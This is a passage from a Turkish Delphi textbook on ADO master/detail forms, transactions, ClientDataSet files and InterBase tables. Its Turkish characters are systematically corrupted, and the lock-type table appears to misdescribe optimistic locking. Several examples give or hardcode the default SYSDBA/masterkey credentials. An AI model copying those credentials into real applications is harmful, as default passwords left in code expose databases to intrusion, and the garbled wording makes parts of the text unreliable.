iúlemlerin nasıl yaptırılabilece÷ini açıklayalım.
Tablo1:MAGAZA TABLOSU
Type(Tipi)
MAGAZAADI
A
25
ADRES
A
25
TELEFON
A
15
MUDUR
A
25
SEHIR
A
25
Key(Primary ind)
*
Tablo2:SERVIS TABLOSU
Type(Tipi)
SIRANO
+
Otomatik artar
MAGAZAADI
A
25
SERVISTARIHI
D
GIDENFIRMA
A
25
ARIZASEBEBI
A
25
FATURATUTARI
$
Key(Primary ind)
*
Secondary Index
227
Tabloları oluúturduktan sonra aúa÷ıdalki adımları izleyerek “Master/Detail”
Form oluúturabilirsiniz.
Birinci adım, formunuzun üzerine bir adet “Adoconnection” kontrolü
yerleútirip “gazi” isimli database’ e ba÷layın (daha önce bir çok kez
yapıldı÷ı için tekrar izah edilmeyecektir).
økinci adım, “ADO” yapra÷ında yer alan “ADODataSet” kontrolünden
bir adet formunuzun üzerine sürükleyip bırakın. “Object Inspector”
penceresinden “Connection” özelli÷ine “Adoconnection1” kontrolünü
aktarın. Ardından “CommandText” özelli÷ine tıklayın. Aúa÷ıdaki
pencere açılacaktır.
Bu pencerede “SQL” kısmına “Select * From MAGAZA” yazıp (Master
tablo) “OK” Buttonuna tıklayınız.
Dördüncü adımda formunuza “DataAccess” yapra÷ında yer alan
“DataSource” kontrolünden bir adet sürükleyip bırakın. “Object
Inspector” penceresinden “DataSet” özelli÷ine “ADODataSet1”
kontrolünü aktarın.
Beúinci adımda, formunuza “DataControls” yapra÷ında yer alan
“DBGrid” kontrolünü yerleútirip “DataSource” özelli÷ine “DataSource1”
kontrolünü aktarın (Bu úekilde master tablo ile ilgili iúlemlerimiz
tamamlanmıú oldu).
Altıncı adımda formunuza ikinci bir “ADODataSet” kontrolü yerleútirerek
“Connection” özelli÷ine “Adoconnection1” kontrolünü aktarın. Ardından
“CommandText” özelli÷ine tıklayarak aúa÷ıdaki pencereyi açtırın. Yavru
tablo için gerekli “SQL” sorgusunu bu penceye yazaca÷ız.
228
“Select * From SERVIS” sorgusunu aúa÷ıdaki úekilde “SQL”
penceresinde oluúturunuz.
“OK” basıp di÷er adımlara geçiniz.
Bu adımda formunuza “DataAccess” yapra÷ında yer alan “DataSource”
kontrolünden sürükleyip bırakın. Ardından “DataSet” özelli÷ine
“ADODataSet2” kontrolünü aktarın.
Bu sefer “DataControls” yapra÷ında yer alan “DBGrid” kontrolünden
bir adet formunuzun üzerine taúıyın ve “DataSource” özelli÷ine
“DataSource2” kontrolünü aktarın.
ùimdiki adımda iki “ADODataSet” arasındaki iliúkiyi oluúturaca÷ız. Bu
yüzden “ADODataSet2” kontrolünü seçip “Object Inspector”
penceresinden “DataSource” özelli÷ine “DataSource1” kontrolünü atayın.
Ardından yine aynı kontrolün “MasterFields” özelli÷ine tıklayarak
aúa÷ıdaki pencerenin açılmasını sa÷layın.
Açılan “Field Link Designer” penceresinden iki tablo arasında iliúki
yaratılacak olan sütunları belirleyece÷iz. MAGAZA tablosunda (Master
tablo) yer alan Primary index sütunu ile “SERVIS” tablosunda (Detail
tablo) yer alan secondry index sütununu (ikisindede sütun isimleri
MAGAZAADI olarak verilmiútir) iliúkilendirece÷iz. Bu amaçla “Detail
Fields” listesinden “MAGAZAADI” sütununu, “Master Fields”
sütunundan da yine “MAGAZAADI” sütununu seçip “Add” dü÷mesine
tıklayın. Yarattı÷ınız iliúki “Joined Fields” listesine aktarılacaktır.
Gerekiyorsa tablolar arası birden fazla iliúki yaratabilirsiniz, bu tamamen
programınızın kapasite ve önemine göre de÷iúecektir.
229
Aúa÷ıdaki gibi iliúkiyi yaratıp “OK” buttonuna tıklayabilirsiniz.
“IndexFieldName” de÷erini kendisi otomatik olarak dolduracaktır.
øki “ADODataSet” kontrolünün de “Object Inspector” penceresinden
“Active” özelli÷ini true yapıp programı çalıútırınız.
økinci “DBGrid” kontrolüne dikkat edin, sadece ilk “DBGrid” kontrolünde
seçilmiú olan ma÷azaya ait yapılmıú servisleri listelemektedir. ùayet baúka bir
ma÷aza seçerseniz altta yer alan “DBGrid” kontrolü de yine sadece o ma÷azaya
ait servisleri listeleyecektir.
230
ADODataSet Kontrolüne Uygulanabilecek Kilitler:
Aynı anda yapılabilecek olan de÷iúiklikler uyglamanız için sorun yaratabilir.
Düúünün iki kullanıcı aynı anda aynı kaydı de÷iútirmeye kalkarsa tutarlılık
açısından sorun çıkacaktır. Bu yüzden oluúabilecek ters durumlara karúı kilit
kullanmalısınız. Aúa÷ıda kilit úekilleri ve uygulaması gösterilmektedir.
Lock Type
Sonuç
ltOptimistic
Kayıt de÷iútirilmeye baúlandı÷ı anda kilitlenme olur
ltBatchOptimistic
Kendi Bilgisayarınızda de÷iútirebilirsiniz
ltPessimistic
De÷iúiklik baúladı÷ı andan update edilene kadar
ltReadOnly
Kayıtlar de÷iútirilemez
ltUnspecified
Özel Kilit
Veri Tabanına uygulayaca÷ınız kilit tipini kodla belirlemeniz gerekirse
aúa÷ıdaki úekilde bir kodlama kullanabilirsiniz.
begin
ADODataSet1.LockType:=ltOptimistic;
end;
ADODataSet Kontrolü øle Kayıt Eklemek:
Aúa÷ıdaki úekilde tablonuza kolayca kayıt ekleyebilirsiniz.
//Kayıt Ekle
begin
ADODataSet1.Append;
end;
ADODataSet Kontrolü øle Aktif Kaydı Silmek:
Aúa÷ıdaki kodlamayla aktif kaydınızı tablonuzdan silebilirsiniz.
//Kayıt Sil
begin
ADODataSet1.Delete;
end;
ADODataSet ve Transaction:
231
Daha önceki bölümlerde Transaction olayının ne iúe yaradı÷ı detaylı olarak
anlatılmıútı. ùimdiki bölüm de ise bu iúlemin “ADO” nesnelerine kullanımına ait
uygulamalarından bahsetmek istiyorum. Mantık tamamen aynı olmakle beraber
uygulama úekli biraz daha farklı olmaktadır.
x ADOConnection1.BeginTrans
Transaction iúlemini baúlatan komuttur. Bu komuttan sonra yapılan tüm iúlemler
iptal edilebilir veya tabloya yansıtılabilir.
begin
ADOConnection1.BeginTrans;//Baúlat
end;
x ADOConnection1.CommitTrans
Transaction uygulaması baúlatıldıktan sonra yapılan tüm de÷iúikliklerin tabloya
yansıtılmasını sa÷layan komuttur. Bu komut uygulandıktan sonra Transaction
iúlemi sona erer.
begin
ADOConnection1.CommitTrans;//Tabloya yansıt
end;
x ADOConnection1.RollbackTrans
Transaction iúlemi baúlatıldıktan sonra yapılan tüm de÷iúiklikleri iptal ederek
orjinal konuma dönülmesini sa÷lar.
begin
ADOConnection1.RollbackTrans;//De÷iúiklikleri iptal et
end;
Görüldü÷ü gibi aynı mantık fakat farklı komutlarla ADO kontrolleri için
Transaction iúlemini kolayca gerçekleútirebilmekteyiz. ùimdi olayın anlaúılması
ba÷lamında bir örnekle izahat yapalım.
232
Formunuzun üzerine Bir adet “AdoConnection”, bir adet “ADODataSet”, bir
adet “DataSource”, bir adet “DBGrid”, bir adet “DBNavigator”, beú adet
“DBEdit” ve iki adet Button” kontrolü ekleyip aúa÷ıdaki tasarımı oluúturunuz.
Gerekli tüm ba÷lantıları yaparak (daha önce anlatıldı÷ı úekilde) “DBGrid”
nesnesi içerisinde “MAGAZA” tablosuna ait tüm kayıtların gözükmesini
sa÷layınız. Bu aúamadan sonra yapaca÷ınız iúlem aúa÷ıdaki kodları
programınıza eklemek olacaktır.
//Transactionu Baúlat
begin
ADOConnection1.BeginTrans;//Transactionu baúlat
end;
//Uygula
begin
ADOConnection1.CommitTrans;//De÷iúiklikleri Tabloya Yaz
ADOConnection1.BeginTrans;//Tekrar Transactionu Baúlat
end;
233
//øptal Et
begin
ADOConnection1.RollbackTrans;//De÷iúiklikleri iptal et
ADODataSet1.Close;
ADODataSet1.Open;
ADOConnection1.BeginTrans//Tekrar Baúlat
end;
Programı çalıútırdıktan sonra herhangi bir kaydı silip, ardından “Iptal Et”
dü÷mesine tıklayın. Silinen kaydın geri geldi÷ini göreceksiniz. ùayet “Tabloya
Yaz” dü÷mesine basarsanız yaptı÷ınız tüm de÷iúiklikler ana tablonuza
uygulanacaktır.
Kod satırlarına dikkat edecek olursanız “Transaction” iúlemi “OnCreate”
yordamında otomatik olarak baúlatılmaktadır. Ayrıca her “Tabloya Yaz” veya
“øptal Et” dü÷mesinden sonra “Transaction” iúlemi yeniden baúlatılmaktadır. Bu
tür uygulamalar performansınızı biraz azaltacak fakat güvenli÷inizi önemli
ölçüde artıracaktır.
Programın çalıúması sırasında devamlı “Transaction” açık olaca÷ı için, var olup
olmadı÷ını kontrol ettirmenize gerek yoktur (BDE deki örnekte kontrol vardı).
234
BÖLÜM 8
XML DOSYALARI OLUùTURMAK
235
236
ClientDataSet Kontrolü:
Bu kontrol sayesinde “BDE” veya “ADO” kullanmadan harddiskinizde tablo
yaratıp içerisine kayıt girebilirsiniz. Girilen kayıtlara daha sonra ulaúmanız
tabiiki mümkün olabilmektedir. Kontrolün çalıúma mantı÷ı bilgisayarda “cds”
veya “xml” uzantılı bir dosya yaratarak içerisine kayıt bilgilerini kaydetmekten
ibarettir. Aúa÷ıda kullanmak zorun da oldu÷unuz özelliklerini verece÷im.
x ClientDataSet1.FieldDefs.Add
Bu method sayesinde yarataca÷ınız tabloya ait sütunları belirleyebilirsiniz.
Sütun içerikleriniz her úekil tipten olabilir.
begin
ClientDataSet1.FieldDefs.Add('EGITMEN',ftString,25,false);
ClientDataSet1.FieldDefs.Add('GRUP_ADI',ftString,25,false);
ClientDataSet1.FieldDefs.Add('SURESI',ftInteger,0,false);
ClientDataSet1.FieldDefs.Add('FIYATI',ftCurrency,0,false);
end;
Methodun kullanımına dikkat ettiyseniz 4 parametre içermektedir. Birinci
parametre tablo sütun ismini, ikinci parametre sütuna girilecek içeri÷in tipini,
üçüncü parametre kaç karakter oldu÷unu (sayısal içerikler için “0” girebilirsiniz)
belirlemektedir.
x ClientDataSet1.CreateDataSet
DataSeti yaratmak için kullanılan methoddur. Yaratılan bu dataset içerikleri
daha sonra dosyaya kaydedilecektir.
begin
ClientDataSet1.CreateDataSet;//yarat
end;
x ClientDataSet1.SaveToFile
DataSet içerisindeki kayıtları “cds” uzantılı bir dosyaya kaydetmek için
kullanılan methoddur. Kaydedilen bu kayıtlara daha sonra ulaúılma imkanı
mevcuttur.
237
begin
ClientDataSet1.SaveToFile('c:\gazi\prestige.cds');//Dosyaya kaydet
end;
x ClientDataSet1.LoadFromFile
“cds” uzantılı dosya içerisindeki kayıtlara ulaúabilmek için kullanılan
methoddur.
begin
ClientDataSet1.LoadFromFile('c:\gazi\prestige.cds');//Aç
end;
x ClientDataSet1.FileName
øçerisindeki kayıtların gösterilece÷i dosya bu özellikle belirlenmektedir.
begin
ClientDataSet1.FileName:='c:\gazi\prestige.cds';
end;
x ClientDataSet1.Filter
Dosya içerisindeki tüm tablolar de÷ilde, sadece sizin istedi÷iniz kayıtları
göstermek amaçlı kullanılan özelli÷idir. Kullanımı aynen “BDE” ve “ADO”
kontrollerindeki úekilde olacaktır.
x ClientDataSet1.Filtered
Filtre iúlemi için belirlenen kriterin tabloya uygulanması için gerekli olan
komuttur. True de÷erinin aktarılması tablonun filtrelenece÷i anlamını
taúımaktadır.
begin
ClientDataSet1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);
ClientDataSet1.Filtered:=True;
end;
238
ùimdi bu kontrole ait bir örnekle kullandı÷ımız methodları tekrar hatırlamaya
çalıúalım.
Örnek için aúa÷ıdaki tasarımı oluúturunuz.
ùimdi aúa÷ıdaki adımları izleyerek “DBGrid” nesnesi içerisindeki kayıtları
dosyaya nasıl kaydedebilece÷inizi ö÷renin.
Birinci adımda formunuza bir adet “ClientDataSet” kontrolü yerleútirin.
Baúka hiç bir ayar yapmayın tamamını kodla yapaca÷ız.
økinci adımda formunuza bir adet “DataSource” kontrolü yerleútirip
“DataSet” özelli÷ine “ClientDataSet1” kontrolünü aktarın.
Üçüncü adımda formunuza bir adet “DBGrid” kontrolü yerleútirip
“DataSource” özelli÷ine “DataSource1” de÷erini aktarın.
Dördüncü adımda formunuza bir adet “DBNavigator” kontrolü yerleútirip
“DataSource” özelli÷ini “DataSource1” yapın.
Aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz.
begin
if FileExists('c:\gazi\prestige.cds')=false Then//dosya yoksa
begin
//tabloyu oluútur
ClientDataSet1.CreateDataSet;//yarat
ClientDataSet1.SaveToFile('c:\gazi\prestige.cds');//kaydet
end;
239
ClientDataSet1.FileName:='c:\gazi\prestige.cds'; //Aç
ClientDataSet1.Open;
end;
//Kaydet
begin
ClientDataSet1.SaveToFile('c:\gazi\prestige.cds');
end;
Programı ilkçalıútırdı÷ınız zaman dosyayı bulamayaca÷ı için oluúturup
kaydedecek. Bu aúamadan sonra ekleyece÷iniz her kayıt daha sonra programı
açtı÷ınız zaman “DBGrid” nesnesi içerisinde gözükecektir (Dosyaya Kaydet
dü÷mesine basılması gereklidir).
ClientDataSet Kontrolü øçerisindeki Kayıtları Xml Uzantılı Kaydetmek:
“ClientDataSet” kontrolü “xml” formatlı dosyalara da destek vermektedir.
Dilerseniz kayıtlarınızı bu formatta kaydedip sonra tekrar açabilirsiniz.
Do÷rusunu isterseniz uygulamada Delphi için “cds” veya “xml” olmuú pek fark
etmiyor. Yukarıdaki örnek için kodu aúa÷ıdaki úekilde de÷iútirip “xml” formatlı
dosya olarak ta oluúturabilirdiniz.
begin
if FileExists('c:\gazi\prestige.xml')=false Then
begin
//tabloyu oluútur
240
ClientDataSet1.CreateDataSet;
ClientDataSet1.SaveToFile('c:\gazi\prestige.xml');
end;
ClientDataSet1.FileName:='c:\gazi\prestige.xml'; //Dosyayı Aç
ClientDataSet1.Open;
end;
//xml olarak Kaydet
begin
ClientDataSet1.SaveToFile('c:\gazi\prestige.xml');
end;
241
242
BÖLÜM 9
INTERBASE KONTROLLERI
243
244
INTERBASE Veri Tabanı øúlemleri:
“SQL Server” veya “Oracle” veri tabanının yüklü olmadı÷ı a÷ ortamlarında
kullanılmak üzere Delphi’nin destekledi÷i bir veritabanı uygulamasıdır. Bu
veritabanının özelli÷i, aynı tablo için de÷iúik haklara sahip bir çok kullanıcının
tanımlabilmesine izin vermesidir. Yani bir kullanıcı tabloyu “Read Only” olarak
kullanabilirken di÷er kullanıcı tablo üzerinde tüm de÷iúiklikleri yapabilmektedir.
InterBase içerisinde oluúturulan tablolara “BDE” kontrollerini kullanarak ta
kolayca ba÷lanabilirsiniz. Söyledik ya bir yerden sonraki tüm iúlemler tamamen
aynı mantık çerçevesinde gerçekleúmektedir.
Bu veritabanı “Delphi” ile beraber gelen “CD” içerisinden ayrıca yüklenmelidir.
Delphi7 sürümünde “InterBase 6.5 Desktop Edition” seçene÷ini tıklayarak
bilgisayarınıza kurabilirsiniz.
InterBase kullanarak uygulama geliútirecekseniz, aúa÷ıda anlatılan úekilde bir
yörünge izlemelisiniz.
InterBase Kullanarak Veri Tabanı Oluúturmak:
Veri Tabanı uygulamaları gerçekleútirece÷iniz zaman tablolara ihtiyacınız
olacaktır. Tablolar kendi baúlarına oluúturulmazlar, öncelikle oluúturulacakları
veri tabanını yaratmanız gerekecektir. Ardından istedi÷iniz kadar tabloyu bu
database (veri tabanı) içerisinde oluúturabilirsiniz. “InterBase” uygulamasını
bilgisayarınıza yükledikten sonra “Start” menüsüne yüklenmiú olacaktır. Tüm
de÷iúiklikleri bu kısa yoldan gerçekleútirebilirsiniz.
245
“Start->Programs->InterBase->IBConsole”
pencereyi açtırın.
adımlarını
izleyerek
aúa÷ıdaki
Bu pencerede “Local Server” henüz kullanılmaz durumdadır, aktif hale
geçirebilmeniz için úifresini belirlemelisiniz. “Local Server” seçene÷ini seçerek
mousun sa÷ tuúuna tıklayın. Açılan menüden “Login” bölümüne tıklayın.
ùifreyi de÷iútirmedi÷iniz sürece “User Name” e “SYSDBA” “Password’ e
“masterkey” yazarak “Local Server” i aktifleútirebilirsiniz (bu úifre daha sonra
de÷iútirilebilir).
246
“Local Server”
gösterilmektedir.
altında
Seçenekler
DataBase
yer
alan
seçenekler
aúa÷ıda
tablo
halinde
Sonuç
Yeni Bir Veri Tabanı oluúturmak için kullanılır
Backup
Backup ünitesi belirlemek için kullanılır
Certificates
Yeni bi sertifika oluúturmak için kullanılır
Server Log
Log Dosyaları øçin Kullanılır
Users
Kullanıcı Tanımlamak øçin Kullanılır.
ùimdi “DataBase” seçene÷ini kullanarak ilk Veri Tabanınızı oluúturalım.
“IBConsole” penceresi açıkken (úifreyi girip InterBase e logon olduktan sonra)
“DataBase->Create DataBase” adımlarını izleyerek aúa÷ıdaki pencereyi açtırın.
“FileNames” kısmına veritabanınızın yolunu “Alias” kısmınada kullanaca÷ınız
ismini yazarak “OK” dü÷mesine basın.
Dikkat edin “InterBase” içerisinde oluúturulan “DataBase” ler “gdb” uzantısı
alırlar. Daha sonra programdan bu veritabanına ulaúmak için “FileNames”
kısmında belirledi÷imiz dosya yolunu kullanaca÷ız. “OK” Bastıktan sonra
kontrol edin “prestige.gdb” veritabanı “gazi” klasörünün içerisinde
247
oluúturulacaktır.Bu adımdan sonra “IBConsole” pencerenizin görüntüsü
aúa÷ıdaki úekilde de÷iúecektir.
Bu úekilde “Migros” isminde ilk DataBase imizi oluúturmuú olduk. Bu projeyle
ilgili tüm tablolarınızı “Migros” database i içerisine kaydedebilirsiniz.
InterBase Veri Tabanı øçerisinde Tablo Yaratmak:
Yaratmıú oldu÷unuz verirabanı tek baúına hiç bir iúe yaramaz, bu yüzden
içerisinde projeyi yaptı÷ınız firmaya ait kayıtların tutuldu÷u tabloları
oluúturmalısınız. InterBase içerisinde tablo yaratmak için “SQL” komutlarından
faydalanılmaktadır. “Create Table” komutunu kullanarak tablo yaratma
iúlemine baúlayabilirsiniz.
Kitap içerisinde biliyorsunuz “MAGAZA” ve “SERVIS” isimli çok meúhur iki
tablomuz var (Bu tablolar gerçek bir projeniz ufak parçalarıdır), úimdi bu
tablolardan “InterBase” içerisinde nasıl yaratabilece÷inizi gösterec÷im.
“Migros” database i altında yer alan “Tables” seçene÷ini seçin. “Tools>InterActive SQL” komutlarını vererek aúa÷ıdaki pencereyi açtırınız. “Migros”
veritabanı için oluúturaca÷ınız tüm tabloları bu ekrandan gerçekleútireceksiniz.
ùimdi ilk tablomuzu yaratalım.
248
“Tools->InterActive” menü seçeneklerine arka arkaya tıklayarak aúa÷ıdaki
“InterActive SQL” pencereinin açılmasını sa÷layınız.
Yukarıdaki kodlamayla “ilktablo” ismiyle, “ADISOYADI” (max 25 karakter) ve
“ADRESI” (max 50 karakter) sütunlarına sahip, “ADOSOYADI” sütununun boú
geçilemeyece÷i bir tablo yaratmıú olduk. “Query->Execute” adımlarıyla
tablonuzu yaratabilirsiniz.
“Query->Execute” adımlarından sonra tablonuz “IBConsole” penceresinde
oluúacaktır. Bu tabloyu tüm “Delphi” projelerinden ça÷ırıp kullanabilirsiniz
(birazdan gösterece÷im).
249
InterBase øçerisinden Tabloya Kayıt Girmek:
Aslında bu ekrandan kulanıcılar hiç bir zaman kayıt giriúi yapmayacaktır. Fakat
uygulama içerisinde daha sonra silmek üzere örnek kayıtlara ihtiyacınız olabilir.
Hızlıca bu ekrandan nasıl kayıt girebilece÷inizi göstermek istiyorum.
Tablonuzu seçip mousun sa÷ tuúuna tıklayın, menü açılacaktır. Bu menüden
“Properties” seçene÷ini seçerek açılan pencereden “Data” yapra÷ını
aktifleútirin. Bu yaprakta yer alan kayıt dü÷melerini kullanarak istedi÷iniz kadar
kayıt girebilirsiniz.
Tablolarınızı yaratırken baúlangıç aúamasında iyi tasrlama yapınız, daha
sonra yapmak isteyece÷iniz radikal de÷iúikliklerde hüsrana u÷rayabilir,
tablonuzu tekrar oluúturmak zorunda kalabilirsiniz
Delphi Projesinden Yarattı÷ınız Tabloya Ba÷lanmak:
Aúa÷ıdaki adımları izleyerek Delphi uygulamasından yaratmıú oldu÷unuz
tabloya kolayca ba÷lanabilirsiniz.
Öncelikle yukarıdaki tasarımı oluúturun. ùimdi aúa÷ıdaki adımları izleyerek
InterBase içerisinde yaratmıú oldu÷unuz tabloya ba÷lanacaksınız.
250
Birinci adım formunuzun üzerine bir adet “InterBase” yapra÷ında yer alan
“IBDatabase” kontrolü yerleútirerek “Object Inspector” penceresinden
“DataBaseName” özelli÷ine tıklayın. Bu özelli÷e tablomuzu içerisinde
yaratmıú oldu÷umuz veritabanının (gdb uzantılı dosya) yolunu aktarmak
durumundasınız
(bizim
örne÷imiz
için
bu
veri
tabanı
“c:\gazi\prestige.gdb” olarak kaydedilmiúti). Ben “prestige.gdb”
veritabanının yolunu gösterdim.
økinci adımda “InterBase” yapra÷ında yer alan “IBTransaction”
kontrolünü sürükleyip formunuzun üzerine bırakın. “Object Inspector”
penceresinden “DefaultDataBase” özelli÷ine “IBDataBase1” kontrolünü
aktarın.
Üçüncü adımda formunuzun üzerine “InterBase” yapra÷ında yer alan
“IBTable” kontrolünden bir adet sürükleyip bırakın. “Object Inspector”
penceresinde yer alan “DataBase” özelli÷ine “IBDataBase1” ve
“Transaction” özelli÷ine “IBTransaction1” kontrolünü aktarın (Bu
özelli÷i belirlemeden TableName özelli÷ine tablo belirleyemezsiniz).
Dördüncü adımda “IBTable” kontrolüne ait “TableName” özelli÷ine
yaratmıú oldu÷unuz tablonuzun ismini aktarın (ILKTABLO). “Table
Name” özelli÷ine tıkladı÷ınız zaman size úifre soracaktır. ùayet
de÷iútirmediyseniz “SYSDBA” ve “masterkey” de÷erlerini girebilirsiniz.
Beúinci adımda “DataAccess” yapra÷ında yer alan “DataSource”
kontrolünü formunuzun üzerine bırakın. “Object Inspector” penceresinden
“DataSet” özelli÷ine “IBTable1” kontrolünü aktarın.
Altıncı adımda “DataControls” yapra÷ında yer alan “DBGrid” kontrolünü
formunuzun üzerine alarak, “DataSource” özelli÷ine “DataSource1”
de÷erini aktarın.
Son adım olarak “IBTable” kontrolünü seçip “Active” özelli÷ini “true”
yapın. Bu iúlem “IBTransaction” kontrolünün aktif özelli÷inide otomatik
olarak “true” yaptıracaktır. Artık uygulamanızı çalıútırabilirsiniz.
Görüldü÷ü úekilde “InterBase” Database’i içerisinde oluúturmuú oldu÷unuz
tablolarla uygulama geliútirmek, son derece basit ve sade bir úekilde
gerçekleúebilmektedir.
251
InterBase Veri Tabanında Geliúmiú Tablolar Yaratmak:
Yukarıda basit bir tablonun nasıl yaratılabilece÷ini gösterdik. ùimdi ise daha
karmaúık tabloların oluúturulmasına yönelik uygulamalar geliútirece÷iz. Aslında
daha karmaúık açıklaması ile indexli,default de÷erli, kısıtlamalara sahip tablo
oluúturmaktan bahsediyorum. ùimdi bizim meúhur “MAGAZA” tablomuzu bu
mantıkla oluúturalım. Aúa÷ıdaki adımları sırayla izleyiniz.
Migros databasi seçili ilken “Table” seçene÷ini seçin.
“Tools->InterActive SQL” adımlarını izleyerek aúa÷ıdaki pencereyi açın.
Ardından bizim yaptı÷ımız gibi tabloyu oluúturmak için gerekli “SQL”
komutlarını pencereye ekleyiniz.
Sorguya dikkat edin 5 sütundan oluúan bir tablo yaratılarak
“MAGAZAADI” sütunu “primary index” olarak tanımlanmaktadır.
Bu iúlemden sonra tabloya ait properties penceresinde “Show Index”
dü÷mesine tıklarsanız “Primary” indexinizi görüntüleyebilirsiniz.
252
ùimdide ikinci tablo olarak “SERVIS” tablomuzu yarataca÷ız. Aúa÷ıdaki úekilde
bir SQL sorgusu oluúturun.
Yaratılan tablo 6 sütundan oluúmakta olup “SIRANO” sütunu Primary index,
“MAGAZA” adı sütunu da “MAGAZA” tablosundaki “magazaadı” sütunuyla
iliúkilendirilerek “Foreign Key” index olarak tanımlanmıútır.
Burada yeri gelmiúken hatırlatalım “Foreign Key” index tanımlayıp di÷er
tablo sütunuyla iliúkisini belirttikten sonra “MAGAZA” tablosundaki
“MAGAZAADI” sütununda kaydedilmemiú bir ma÷aza adını “SERVIS”
tablosuna giremeyeceksiniz. Sizi uyaracaktır.
Oluúturmuú oldu÷unuz iki tabloya bir kaç kayıt girerek úimdilik bu konuya daha
sonra dönmek üzere bir nokta koyalım. Sebebine gelince “Delphi” kontrolleriyle
bu tablolara ait nasıl iúlem yapılaca÷ını göstermek istiyorum.
253
InterBase Kontrolleri:
InterBase içerisinde oluúturmuú oldu÷unuz kayıtlarla ilgili iúlemleri
yapabilmeniz için eklenmiú olan kontrollerdir. Aúa÷ıda kontrol isimleriyle
beraber en çok kullanılan özelliklerini verece÷im.
IBDataBase Kontrolü
Bu kontrol veri tabanının yerini di÷er kontrollere göstermek için kullanılır. Son
derece önemli ve zorunlu bir kontroldür.
x IBDatabase1.DatabaseName
Ba÷lantı kurulacak olan veri tabanının yolu bu özellikle belirlenir. Bu adımdan
sonra o veri tabanındaki tüm kayıtlar yetki dahilinde kullanıcı tarafından
kullanılabilir.
begin
IBDatabase1.DatabaseName:='C:\gazi\prestige.gdb';
end;
x IBDatabase1.LoginPrompt
Ba÷lantı sırasında logon penceresinin gösterilip gösterilmeyece÷ini belirleyen
özelli÷idir. False de÷eri aktarılırsa login penceresi gözükmeyecektir.
Hatırlatalım false aktarılması úifreyi bilmeden database i açabilece÷iniz
anlamına gelmez. Bu tip durumlarda úifre kodla girilecektir.
begin
IBDatabase1.LoginPrompt:=TRUE;
end;
x IBDatabase1.Params
Bu özelli÷e aktaraca÷ınız “Tstrings” tipli de÷iúken de÷erleri sayesinde
programa ait úifre giriúlerini kodla yaptırabilirsiniz. ølk parametre kullanıcı
adını, ikinci parametre ise kullanıcıya ait úifreyi ifade edecektir.
254
var
deger:TStrings;
begin
deger:=TStringList.Create();//oluútur
deger.Add('user_name=sysdba');
deger.Add('password=masterkey');
IBDatabase1.Params :=deger;//aktar
IBDatabase1.Connected:=true;//ba÷lan
IBDatabase1.LoginPrompt:=false;
IBTable1.Active:=true;//tabloyu aç
end;
Yukarıdaki kodlamadan sonra açılan login penceresine úifre girmeden tablo
bilgilerine ulaúabilirsiniz.
IBTransaction Kontrolü:
Network uygulamalarında Transaction iúlemi çok fazla önem arz etmektedir. Bu
yüzden DataBase ba÷lantılarınız için bu kontrolu kullanmak zorundasınız.
x IBTransaction1.DefaultDatabase
Transactionun uygulanaca÷ı database bu özellikle belirlenir.
begin
IBTransaction1.DefaultDatabase:=IBDatabase1;
end;
IBTable Kontrolü:
Bu kontrol sayesinde InterBase içerisinde yaratılmıú olan tablolara ba÷lanabilir,
kayıtlarına ulaúabilirsiniz.
x IBTable1.Database
Tablolarınızın içerisinde oluúturuldu÷u database in bulundu÷u yer bu özellikle
belirlenir.
255
begin
IBTable1.Database:=IBDatabase1;
end;
x IBTable1.Transaction
DataBase iúlemlerinde Transactionu gerçekleútiren kontrol bu özelli÷e
aktarılmalıdır. Muhakkak eklemeyi unutmayın
begin
IBTable1.Database:=IBDatabase1;
IBTable1.Transaction:=IBTransaction1;
end;
x IBTable1.TableName
Belirlenen Veri Tabanı içerisinde ba÷lanılacak olan tablo bu özellikle belirlenir.
begin
IBTable1.Database:=IBDatabase1;//bu veri tabanını kullan
IBTable1.Transaction:=IBTransaction1;//bu transactionu kullan
IBTable1.TableName:='ILKTABLO';//bu tabloyu kullan
end;
InterBase Kontrolleri øle Kayıt øúlemleri:
ùimdi sizlere InterBase kontrollerini kullanarak nasıl kayıt formları
oluúturabilece÷inizi gösterece÷im. Do÷rusunu isterseniz bu iúlem hiçte zor de÷il
di÷er “BDE” ve “ADO” ile yapılan iúlemlere çok benzerlik göstermektedir.
Belirtece÷im adımları sırasıyla oluúturunuz.
Birinci adım formunuzun üzerine bir adet “InterBase” yapra÷ında yer alan
“IBDatabase” kontrolü yerleútirerek “Object Inspector” penceresinden
“DataBaseName” özelli÷ine tıklayın. Bu özelli÷e tablomuzu içerisinde
yaratmıú oldu÷umuz veritabanının (gdb uzantılı dosya) yolunu aktarmak
durumundasınız
(bizim
örne÷imiz
için
bu
veri
tabanı
“c:\gazi\prestige.gdb” olarak kaydedilmiúti). Ben “prestige.gdb”
veritabanının yolunu gösterdim.
256
økinci adımda “InterBase” yapra÷ında yer alan “IBTransaction”
kontrolünü sürükleyip formunuzun üzerine bırakın. “Object Inspector”
penceresinden “DefaultDataBase” özelli÷ine “IBDataBase1” kontrolünü
aktarın.
Üçüncü adımda formunuzun üzerine “InterBase” yapra÷ında yer alan
“IBTable” kontrolünden bir adet sürükleyip bırakın. “Object Inspector”
penceresinde yer alan “DataBase” özelli÷ine “IBDataBase1” ve
“Transaction” özelli÷ine “IBTransaction1” kontrolünü aktarın (Bu
özelli÷i belirlemeden TableName özelli÷ine tablo belirleyemezsiniz).
Dördüncü adımda “IBTable” kontrolüne ait “TableName” özelli÷ine
yaratmıú oldu÷unuz tablonuzun ismini aktarın (SERVIS). “Table Name”
özelli÷ine tıkladı÷ınız zaman size úifre soracaktır. ùayet
de÷iútirmediyseniz “SYSDBA” ve “masterkey” de÷erlerini girebilirsiniz.
Beúinci adımda “DataAccess” yapra÷ında yer alan “DataSource”
kontrolünü formunuzun üzerine bırakın. “Object Inspector” penceresinden
“DataSet” özelli÷ine “IBTable1” kontrolünü aktarın.
Altıncı adımda “DataControls” yapra÷ında yer alan “DBGrid” kontrolünü
formunuzun üzerine alarak, “DataSource” özelli÷ine “DataSource1”
de÷erini aktarın.
Yedinci Adımda “DataControls” yapra÷ında yer alan “DBNavigator”
kontrolünü formunuzun üzerine bırakıp “DataSource” özelli÷ine
“DataSource1” de÷erini aktarın.
Son olarak tasarımını aúa÷ıdaki hale getirip uygulamanızı çalıútırın.
Program açılıú anında úifre isteyecektir(De÷iútirmediyseniz “SYSDBA”
ve “masterkey” de÷erlerini girebilirsiniz).
“DBNavigator” kontrolünü kullanarak kayıt ile ilgili tüm iúlemleri aynen “BDE”
